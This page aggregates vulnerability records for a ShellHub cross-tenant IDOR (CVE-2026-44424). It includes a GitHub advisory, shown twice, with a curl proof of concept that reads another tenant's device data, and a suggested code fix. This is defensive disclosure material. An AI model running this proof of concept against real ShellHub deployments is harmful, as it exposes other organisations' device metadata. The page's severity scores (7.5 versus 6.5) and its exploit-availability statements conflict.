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CVE-2026-44424

ShellHub: Cross-tenant IDOR in `GET /api/devices/:uid` discloses device data of any namespace

6.5 MediumFix available

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace. This vulnerability is fixed in 0.24.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.25%Up 0.2 points since May 14, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

ShellHub: Cross-tenant IDOR in `GET /api/devices/:uid` discloses device data of any namespace

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace. This vulnerability is fixed in 0.24.2.

Record
CVE-2026-44424
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-639
Updated
2026-11-02
EUVDEUVD-2026-30188 6.5

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace. This vulnerability is fixed in 0.24.2.

Record
EUVD-2026-30188
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-j72x-xfwg-783f 6.5

ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device data of any namespace

Summary

GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.

Severity

CVSS 3.1: 7.5 (High) CWE-639 — Authorization Bypass Through User-Controlled Key

Affected versions

ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.

Root cause

api/services/device.go:97-104 — GetDevice resolves the device by UID without scoping to the caller's tenant:

func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
    device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
    // ⚠️ missing: s.store.Options().InNamespace(tenant)
    ...
}

Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).

The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context — not that the resource belongs to that tenant.

Proof of concept (validated live against v0.24.1)

Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).

ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

TARGET_TENANT="<victim-tenant-uuid>"

# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
  -H 'Content-Type: application/json' \
  -d "{
    \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
    \"hostname\":\"poc\",
    \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
    \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
    \"tenant_id\":\"$TARGET_TENANT\"
  }" | jq -r .uid)

# Read the device from a completely different tenant
curl -i "http://target/api/devices/$VICTIM_UID" \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
#                     namespace name, OS info, last_seen, remote_addr, ...)

Impact

  • Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
  • Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.

Suggested fix

In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:

func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
    tenant := gateway.TenantFromContext(ctx)
    opts := []store.QueryOption{}
    if tenant != nil {
        opts = append(opts, s.store.Options().InNamespace(tenant.ID))
    }
    device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
    ...
}
Record
GHSA-j72x-xfwg-783f
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-639
Updated
2026-11-02
NVD 6.5

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace. This vulnerability is fixed in 0.24.2.

Record
CVE-2026-44424
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-639
Updated
2026-11-02
OSV 6.5

ShellHub: Cross-tenant IDOR in `GET /api/devices/:uid` discloses device data of any namespace

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace. This vulnerability is fixed in 0.24.2.

Record
CVE-2026-44424
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-639
Updated
2026-11-02
OSVGHSA-j72x-xfwg-783f 6.5

ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device data of any namespace

Summary

GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.

Severity

CVSS 3.1: 7.5 (High) CWE-639 — Authorization Bypass Through User-Controlled Key

Affected versions

ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.

Root cause

api/services/device.go:97-104 — GetDevice resolves the device by UID without scoping to the caller's tenant:

func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
    device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
    // ⚠️ missing: s.store.Options().InNamespace(tenant)
    ...
}

Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).

The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context — not that the resource belongs to that tenant.

Proof of concept (validated live against v0.24.1)

Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).

ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

TARGET_TENANT="<victim-tenant-uuid>"

# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
  -H 'Content-Type: application/json' \
  -d "{
    \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
    \"hostname\":\"poc\",
    \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
    \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
    \"tenant_id\":\"$TARGET_TENANT\"
  }" | jq -r .uid)

# Read the device from a completely different tenant
curl -i "http://target/api/devices/$VICTIM_UID" \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
#                     namespace name, OS info, last_seen, remote_addr, ...)

Impact

  • Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
  • Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.

Suggested fix

In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:

func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
    tenant := gateway.TenantFromContext(ctx)
    opts := []store.QueryOption{}
    if tenant != nil {
        opts = append(opts, s.store.Options().InNamespace(tenant.ID))
    }
    device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
    ...
}
Record
GHSA-j72x-xfwg-783f
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-639
Updated
2026-11-02
OSVGO-2026-5453 No score

ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device data of any namespace in github.com/shellhub-io/shellhub

ShellHub has cross-tenant IDOR in GET /api/devices/:uid that discloses device data of any namespace in github.com/shellhub-io/shellhub

Record
GO-2026-5453
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/shellhub-io/shellhub
Go
 through 0.24.1
0.24.2
github.com/shellhub-io/shellhub
Go
 before 0.24.2
0.24.2
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44424 is a medium vulnerability (CVSS 6.5) in Shellhub, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 15th percentile. Fixed in github.com/shellhub-io/shellhub 0.24.2.

References

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